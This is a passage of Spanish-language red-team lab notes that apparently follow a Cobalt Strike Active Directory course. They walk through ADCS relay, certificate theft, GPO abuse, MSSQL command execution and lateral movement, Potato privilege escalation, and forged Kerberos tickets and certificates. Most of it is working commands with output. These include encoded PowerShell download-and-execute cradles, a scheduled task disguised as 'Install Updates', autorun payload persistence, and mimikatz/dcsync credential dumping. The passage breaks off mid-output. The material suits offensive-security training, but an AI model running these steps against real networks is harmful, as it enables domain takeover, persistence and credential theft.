equipo que se tiene privilegios para capturar y redirigir el tráfico 2. Un reverse port forward para redirigir el tráfico 3. Socks proxy para que ntlmrelayx envíe el tráfico de vuelta a la red **ntlmrelayx apunta hacia el CA web** ``` attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t https://10.10.122.10/certsrv/certfnsh.asp -smb2support --adcs --no-http-server [*] Protocol Client SMTP loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server [*] Setting up HTTP Server [*] Setting up WCF Server [*] Setting up RAW Server on port 6666 ``` **Se fuerza la autenticación desde un equipo hacia el otro** ``` beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe 10.10.122.30 10.10.123.102 ``` Finalmente se usa la técnica S4U2Self para obtener el TGT y moverse lateralmente. #### Persistencia ##### Persistencia a nivel de usuario 1. Enumerar certificados del usuario con Seatbelt *Nota: Revisar que los certificados sean para autenticación* ``` beacon> getuid [*] You are DEV\nlamb beacon> run hostname wkstn-1 beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe Certificates StoreLocation : CurrentUser Issuer : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io Subject : E=nlamb@cyberbotic.io, CN=Nina Lamb, CN=Users, DC=dev, DC=cyberbotic, DC=io ValidDate : 9/7/2022 11:44:35 AM ExpiryDate : 9/7/2023 11:44:35 AM HasPrivateKey : True KeyExportable : True Thumbprint : 43FA3C3AE4E1212A3F888937745C2E2F55BAC1B5 Template : User EnhancedKeyUsages : Encrypting File System Secure Email Client Authentication [!] Certificate is used for client authentication! ``` 2. Exportar certificados con mimikatz *Nota: para sacarlos se va a View > Downloads en CS* ``` beacon> mimikatz crypto::certificates /export Public export : OK - 'CURRENT_USER_My_0_Nina Lamb.der' Private export : OK - 'CURRENT_USER_My_0_Nina Lamb.pfx' beacon> download CURRENT_USER_My_0_Nina Lamb.pfx [*] started download of C:\Users\nlamb\CURRENT_USER_My_0_Nina Lamb.pfx (3454 bytes) [*] download of CURRENT_USER_My_0_Nina Lamb.pfx is complete ``` 3. Cifrar en b64 ``` ubuntu@DESKTOP-3BSK7NO ~> cat /mnt/c/Users/Attacker/Desktop/CURRENT_USER_My_0_Nina\ Lamb.pfx | base64 -w 0 ``` 4. Usar rubeus para obtener un TGT *Nota: para ser más sigiloso se puede solicitar que se cifre con AES en vez de RC4 que es lo qeu hace por defecto con el parámetro /enctype:aes256* ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIINeg[...]IH0A== /password:mimikatz /nowrap [*] Using PKINIT with etype rc4_hmac and subject: E=nlamb@cyberbotic.io, CN=Nina Lamb, CN=Users, DC=dev, DC=cyberbotic, DC=io [*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\nlamb' [*] Using domain controller: 10.10.122.10:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIGQj[...]5pbw== ServiceName : krbtgt/dev.cyberbotic.io ServiceRealm : DEV.CYBERBOTIC.IO UserName : nlamb UserRealm : DEV.CYBERBOTIC.IO StartTime : 9/7/2022 12:28:51 PM EndTime : 9/7/2022 10:28:51 PM RenewTill : 9/14/2022 12:28:51 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : Cptkd+BVLZ8+NS11BQQ6Zg== ASREP (key) : 79C05DC0CC7909DF6448F1B24FAFBD71 ``` Si no tuviera un certificado, se puede solicitar con Certify ``` beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:User ``` ##### Persistencia a nivel de máquina *Nota: en este caso se necesita privilegios* 1. Extraer certificados de la máquina: ``` beacon> mimikatz !crypto::certificates /systemstore:local_machine /export Public export : OK - 'local_machine_My_0_wkstn-1.dev.cyberbotic.io.der' Private export : OK - 'local_machine_My_0_wkstn-1.dev.cyberbotic.io.pfx' ``` 2. Solicitar el TGT ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-1$ /enctype:aes256 /certificate:MIINCA[...]IH0A== /password:mimikatz /nowrap [*] Action: Ask TGT [*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=wkstn-1.dev.cyberbotic.io [*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\WKSTN-1$' [*] Using domain controller: 10.10.122.10:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIGYD[...]5pbw== ServiceName : krbtgt/dev.cyberbotic.io ServiceRealm : DEV.CYBERBOTIC.IO UserName : WKSTN-1$ UserRealm : DEV.CYBERBOTIC.IO StartTime : 9/7/2022 12:06:02 PM EndTime : 9/7/2022 10:06:02 PM RenewTill : 9/14/2022 12:06:02 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : 6DV6vQB5lRoCz84qmRqt0X6UdIzzdQiX+y0IwwDrHlc= ASREP (key) : C1B715AF5F9B5468EB5FA8ADDA0E02EE2D7548F439DEA5A5D9B4F7DFA6482BDF ``` Para solicitar certificados de la máquina: *Nota: se usa el parámetro /machine para elevar privilegios y que se ejecute como SYSTEM* ``` beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:Machine /machine ``` ### Group Policy (GPO) 1. Buscar GPO con permisos vulnerables: *Nota: filtrar aquellas donde los permisos asociados son de SYSTEM, DA y Enterprise Admins* ``` beacon> powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" } AceType : AccessAllowed ObjectDN : CN={AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute OpaqueLength : 0 ObjectSID : InheritanceFlags : ContainerInherit BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107 AccessMask : 131127 AuditFlags : None AceFlags : ContainerInherit AceQualifier : AccessAllowed ``` 2. De hallar una, revisar a quién se refiere ese SID que puede modificar la GPO ``` beacon> powershell Get-DomainGPO -Identity "CN={AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" | select displayName, gpcFileSysPath displayname gpcfilesyspath ----------- -------------- Vulnerable GPO \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F} beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107 DEV\Developers ``` 3. Verificar a qué OU está dirigida la GPO ``` beacon> powershell Get-DomainOU -GPLink "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | select distinguishedName distinguishedname ----------------- OU=Workstations,DC=dev,DC=cyberbotic,DC=io ``` 4. Listar los equipos parte de la OU ``` beacon> powershell Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName dnshostname ----------- wkstn-1.dev.cyberbotic.io wkstn-2.dev.cyberbotic.io ``` 5. Modificar la GPO manualmente o usando [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse) *Nota: si es manual la ruta de la GPO está en SYSVOL* ``` beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F} ``` **Pasos para hacerlo con SharpGPOAbuse** 1. Agregar un listener (pivot listener), para el ejemplo en el puerto 1234 y de payload beacon_reverse_tcp 2. Usar el scripted web delivery para hostear el payload de ese listener (recordar pasarle el nombre del listener adecuado) 3. Agregar reglas en el firewall para que permita tráfico en el 8080 (reverse port forward) y el 1234 para el listener ``` beacon> powershell New-NetFirewallRule -DisplayName "Rule 1" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 1234 beacon> powershell New-NetFirewallRule -DisplayName "Rule 2" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080 ``` 4. Iniciar un reverse port forward para que los target puedan llegar al payload ``` beacon> rportfwd 8080 127.0.0.1 80 ``` 5. Modificar la GPO *Nota: el payload encodeado es: IEX ((new-object net.webclient).downloadstring("http://wkstn-2:8080/pivot")) * ``` beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "C:\Windows\System32\cmd.exe" --Arguments "/c powershell -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyADoAOAAwADgAMAAvAHAAaQB2AG8AdAAiACkAKQA=" --GPOName "Vulnerable GPO" ``` 6. Para que el cambio sea efectivo se puede esperar el ciclo de actualización de la GPO normal o bien forzarlo con el comando: `gpudate /force` en los equipos afectados #### Crear y linkear una GPO Buscar grupos que pueden crear nuevas GPOs en el dominio (con el privilegio `Create groupPolicyContainer objects` habilitado) 1. Buscar grupos con Powerview ``` beacon> powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier } DEV\Developers ``` 2. Revisar si está asociado a alguna OU *Nota: en el ejemplo el grupo de dev puede asociar gpos a la OU workstations* ``` beacon> powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl ObjectDN : OU=Workstations,DC=dev,DC=cyberbotic,DC=io ActiveDirectoryRights : ReadProperty, WriteProperty ObjectAceType : GP-Link SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107 beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107 DEV\Developers ``` 3. Para crear una GPO ``` beacon> powershell New-GPO -Name "Evil GPO" ``` En general para manejo de gpo ``` beacon> powershell Get-Module -List -Name GroupPolicy | select -expand ExportedCommands Key Value --- ----- Backup-GPO Backup-GPO Block-GPInheritance Block-GPInheritance Copy-GPO Copy-GPO Get-GPInheritance Get-GPInheritance Get-GPO Get-GPO ``` 4. Un uso podría ser el agregar un HKLM key autorun al registro Primero buscar dónde subir un archivo: ``` beacon> powershell Find-DomainShare -CheckShareAccess Name Type Remark ComputerName ---- ---- ------ ------------ software 0 dc-2.dev.cyberbotic.io ``` Luego asociar la GPO: ``` beacon> cd \\dc-2\software beacon> upload C:\Payloads\pivot.exe beacon> powershell Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\software\pivot.exe" -Type ExpandString ``` 5. Aplicar la GPO *Nota: en este caso el autorun requiere que se reinicie para que tome el cambio* ``` beacon> powershell Get-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" GpoId : 550f6672-bdd0-4e3d-8907-628ee6909f26 DisplayName : Evil GPO Enabled : True Enforced : False Target : OU=Workstations,DC=dev,DC=cyberbotic,DC=io Order : 4 ``` ### Servidores MSSQL #### Enumeración MSSQL Para enumerar se puede usar powerupsql: *Nota: dentro del módulo sirven `Get-SQLInstanceDomain (busca spn que inicien con mssql*), Get-SQLInstanceBroadcast y Get-SQLInstanceScanUDP`* ``` beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1 beacon> powershell Get-SQLInstanceDomain ComputerName : sql-2.dev.cyberbotic.io Instance : sql-2.dev.cyberbotic.io,1433 DomainAccountSid : 1500000521000672332383313895871914512914091400 DomainAccount : mssql_svc DomainAccountCn : MS SQL Service Service : MSSQLSvc Spn : MSSQLSvc/sql-2.dev.cyberbotic.io:1433 LastLogon : 8/15/2022 7:55 PM Description : ``` Probar la conexión a la base de datos: ``` beacon> powershell Get-SQLConnectionTest -Instance "sql-2.dev.cyberbotic.io,1433" | fl ComputerName Instance Status ------------ -------- ------ sql-2.dev.cyberbotic.io sql-2.dev.cyberbotic.io,1433 Accessible ``` Obtener mas información de la instancia de mssql: ``` beacon> powershell Get-SQLServerInfo -Instance "sql-2.dev.cyberbotic.io,1433" Si hay muchas: beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo ``` Para acceder a la bd con mssql: ``` ubuntu@DESKTOP-3BSK7NO ~> proxychains mssqlclient.py -windows-auth DEV/bfarmer@10.10.122.25 -debug ProxyChains-3.1 (http://proxychains.sf.net) Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket Password: |S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.25:1433-<><>-OK [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(SQL-2): Line 1: Changed database context to 'master'. [*] INFO(SQL-2): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL> select @@servername; ``` #### Ejecución de comandos MSSQL 1. Mediante xp_cmdshell: ``` beacon> powershell Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults dev\mssql_svc ``` 2. Mediante xp_cmdshell pero desde mssqlclient y heidisql: *Nota: acá no funciona porque está deshabilitado y es necesario habilitarlo* ``` SQL> EXEC xp_cmdshell 'whoami'; [-] ERROR(SQL-2): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell'; habilitar xp_cmdshell sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` 3. Enviar un payload para obtener un beacon: *Nota: el payload encodeado es: iex (new-object net.webclient).downloadstring("http://wkstn-2:8080/pivot") * ``` EXEC xp_cmdshell 'powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBwAGkAdgBvAHQAIgApAA=='; ``` #### Movimiento Lateral vía MSSQL 1. Para buscar *linked servers* (cargar o acceder a recursos externos) ``` SELECT * FROM master..sysservers; ``` 2. De encontrar un recurso, revisarlo con la query: ``` SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername'); ``` 3. Revisar si tiene habilitado xp_cmdshell ``` SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell'''); ``` 4. Habilitar xp_cmdshell en el *linked server* ``` EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io] EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io] ``` 5. Revisar todos los link *Nota: el resultado acá muestra que sql2 tiene un usuario sa con privilegios de sysadmin (Sysadmin: 1) en sql1 por lo que puede ejecutar comandos* ``` beacon> powershell Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433" Version : SQL Server 2019 Instance : SQL-2 CustomQuery : Sysadmin : 1 Path : {SQL-2} User : DEV\bfarmer Links : {SQL-1.CYBERBOTIC.IO} Version : SQL Server 2019 Instance : SQL-1 CustomQuery : Sysadmin : 1 Path : {SQL-2, SQL-1.CYBERBOTIC.IO} User : sa Links : ``` 6. Ejecutar el payload con los permisos asociados: *Nota: el payload encodeado es: iex (new-object net.webclient).downloadstring("http://sql-2.dev.cyberbotic.io:8080/pivot2")* ``` SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHAAaQB2AG8AdAAyACIAKQA=''') ``` #### Privesc vía MSSQL Cuando el servicio MSSQL es ejecutado por una cuenta que tiene el privilegio *SeImpersonatePrivilege* se puede escalar usando un `*Potato`. Ej ``` beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges ====== TokenPrivileges ====== Current Token's Privileges SeAssignPrimaryTokenPrivilege: DISABLED SeIncreaseQuotaPrivilege: DISABLED SeChangeNotifyPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED SeCreateGlobalPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED SeIncreaseWorkingSetPrivilege: DISABLED [*] Completed collection in 0.037 seconds ``` **Sweet Potato** *Nota: payload encodeado es: iex (new-object net.webclient).downloadstring("http://sql-2.dev.cyberbotic.io:8080/tcp-local")* ``` beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHQAYwBwAC0AbABvAGMAYQBsACIAKQA=" SweetPotato by @_EthicalChaos_ Orignal RottenPotato code and exploit by @foxglovesec Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery PrintSpoofer discovery and original exploit by @itm4n EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam [+] Attempting NP impersonation using method PrintSpoofer to launch C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [+] Triggering notification on evil PIPE \\sql-1/pipe/b888d569-b66e-4280-b8c5-995afbb9b02c [+] Server connected to our evil RPC pipe [+] Duplicated impersonation token ready for process creation [+] Intercepted and authenticated successfully, launching program [+] Process created, enjoy! beacon> connect localhost 4444 [+] established link to child beacon: 10.10.120.25 ``` ### Domain Dominance #### Silver Tickets Una vez dumpeada las keys de Kerberos es posible realizar un silver ticket con rubeus: 1. Generar el ticket ``` PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/wkstn-1.dev.cyberbotic.io /aes256:c9e598cd2a9b08fe31936f2c1846a8365d85147f75b8000cbc90e3c9de50fcc7 /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap [*] Action: Build TGS [*] Building PAC [*] Domain : DEV.CYBERBOTIC.IO (DEV) [*] SID : S-1-5-21-569305411-121244042-2357301523 [*] UserId : 500 [*] Groups : 520,512,513,519,518 [*] ServiceKey : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7 [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] KDCKey : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7 [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] Service : cifs [*] Target : wkstn-1.dev.cyberbotic.io [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGS for 'nlamb' to 'cifs/wkstn-1.dev.cyberbotic.io' [*] AuthTime : 9/9/2022 10:49:41 AM [*] StartTime : 9/9/2022 10:49:41 AM [*] EndTime : 9/9/2022 8:49:41 PM [*] RenewTill : 9/16/2022 10:49:41 AM [*] base64(ticket.kirbi): doIFXD[...]MuaW8= ``` 2. Importar el ticket y tomar el proceso ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8= [*] Using DEV\nlamb:FakePass [*] Showing process : False [*] Username : nlamb [*] Domain : DEV [*] Password : FakePass [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 5668 [+] Ticket successfully imported! [+] LUID : 0x423091 beacon> steal_token 5668 ``` | Técnica | Service Ticket requerido | -------- | -------- | | psexec | CIFS | | winrm | HOST & HTTP | | dcsync (solo en el DC) | LDAP | #### Golden Ticket 1. Se obtiene la llave del krbtgt ``` beacon> dcsync dev.cyberbotic.io DEV\krbtgt * Primary:Kerberos-Newer-Keys * Default Salt : DEV.CYBERBOTIC.IOkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e aes128_hmac (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca des_cbc_md5 (4096) : 629189372a372fda ``` 2. Genera el ticket con Rubeus ``` PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap [*] Action: Build TGT [*] Building PAC [*] Domain : DEV.CYBERBOTIC.IO (DEV) [*] SID : S-1-5-21-569305411-121244042-2357301523 [*] UserId : 500 [*] Groups : 520,512,513,519,518 [*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] Service : krbtgt [*] Target : dev.cyberbotic.io [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'nlamb@dev.cyberbotic.io' [*] AuthTime : 9/9/2022 11:16:23 AM [*] StartTime : 9/9/2022 11:16:23 AM [*] EndTime : 9/9/2022 9:16:23 PM [*] RenewTill : 9/16/2022 11:16:23 AM [*] base64(ticket.kirbi): doIFLz[...]MuaW8= ``` 3. Genera la sesión ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8= [*] Using DEV\nlamb:FakePass [*] Showing process : False [*] Username : nlamb [*] Domain : DEV [*] Password : FakePass [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 5060 [+] Ticket successfully imported! [+] LUID : 0x449047 beacon> steal_token 5060 ``` #### Diamond Tickets Es igual al golden ticket, pero se genera a partir de un TGT solicitado, descifrado y vuelto a modificar los cambios realizados por el atacante 1. Generar el ticket *Nota: explicación de los parámetros* /tgtdeleg: usa la API de kerberos para solicitar un TGT sin tener la password o el hash /ticketuser: usuario a impersonar /ticketuserid; RID del usuario a impersonar /groups: RID del grupo de usuarios (512 es de los DA) /krbkey: el hash AES256 de la cuenta krbtgt ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:nlamb /ticketuserid:1106 /groups:512 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap [*] Action: Diamond Ticket [*] No target SPN specified, attempting to build 'cifs/dc.domain.com' [*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io' [+] Kerberos GSS-API initialization success! [+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output. [*] Found the AP-REQ delegation ticket in the GSS-API output. [*] Authenticator etype: aes256_cts_hmac_sha1 [*] Extracted the service ticket session key from the ticket cache: +mzV4aOvQx3/dpZGBaVEhccq1t+jhKi8oeCYXkjHXw4= [+] Successfully decrypted the authenticator [*] base64(ticket.kirbi): doIFgz [...snip...] MuSU8= [*] Decrypting TGT [*] Retreiving PAC [*] Modifying PAC [*] Signing PAC [*] Encrypting Modified TGT [*] base64(ticket.kirbi): doIFYj [...snip...] MuSU8= Mostrar a quien pertenece el ticket PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:doIFYj[...snip...]MuSU8= ``` #### Falsificación de Certificados 1. Desde el CA con permisos de SYSTEM se peuden extraer los certificados: ``` beacon> run hostname dc-2 beacon> getuid [*] You are NT AUTHORITY\SYSTEM (admin) beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe certificates /machine ``` 2. Almacenar la llave privada y el certificado a un archivo .pfx con openssl ``` ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Enter Export Password: pass123 Verifying - Enter Export Password: pass123 ``` 3. Generar el certificado con ForgeCert ``` PS C:\Users\Attacker> C:\Tools\ForgeCert\ForgeCert\bin\Release\ForgeCert.exe --CaCertPath .\Desktop\sub-ca.pfx --CaCertPassword pass123 --Subject "CN=User" --SubjectAltName "nlamb@cyberbotic.io" --NewCertPath .\Desktop\fake.pfx --NewCertPassword pass123 CA Certificate Information: Subject: CN=sub-ca, DC=dev, DC=cyberbotic, DC=io Issuer: CN=ca, DC=cyberbotic, DC=io Start Date: 8/15/2022 4:06:13 PM End Date: 8/15/2024 4:16:13 PM Thumbprint: 697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E Serial: 13000000046EF818036CF8C99F000000000004 Forged Certificate Information: Subject: CN=User SubjectAltName: nlamb@cyberbotic.io Issuer: CN=sub-ca, DC=dev, DC=cyberbotic, DC=io Start Date: 10/5/2022 1:24:23 PM End Date: 10/5/2023 1:24:23 PM Thumbprint: 0CF404F5D1534854BA5EDEC5953ED7B7BE96C3A8 Serial: 00978D5E506AE605589E43F21D17E56671 Done. Saved forged certificate to .\Desktop\fake.pfx with the password 'pass123' ``` 4. Encodearlo en b64 para usarlo con rubeus ``` ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0 MIIM7w[...]ECAggA ``` 5. Solicitar un TGT con el certificado *Nota: se puede hacer con certificados de usuarios y máquinas, pero en ese caso hay que usar el truco S4U2Self* ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /enctype:aes256 /certificate:MIACAQ[...snip...]IEAAAA /password:pass123 /nowrap ``` ### Forest y Dominios de Confianza ``` beacon> powershell Get-DomainTrust // si devuelve inbound es que puedo acceder a recursos del dominio externo SourceName : dev.cyberbotic.io TargetName : dev-studio.com TrustType : WINDOWS_ACTIVE_DIRECTORY TrustAttributes : TrustDirection : Inbound ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap Enumerar el dominio externo: ``` beacon> powershell Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName beacon> powershell Get-DomainForeignGroupMember -Domain dev-studio.com //enuemrar externos al dominio GroupDomain : dev-studio.com GroupName : Administrators GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=dev-studio,DC=com MemberDomain : dev-studio.com MemberName : S-1-5-21-569305411-121244042-2357301523-1120 MemberDistinguishedName : 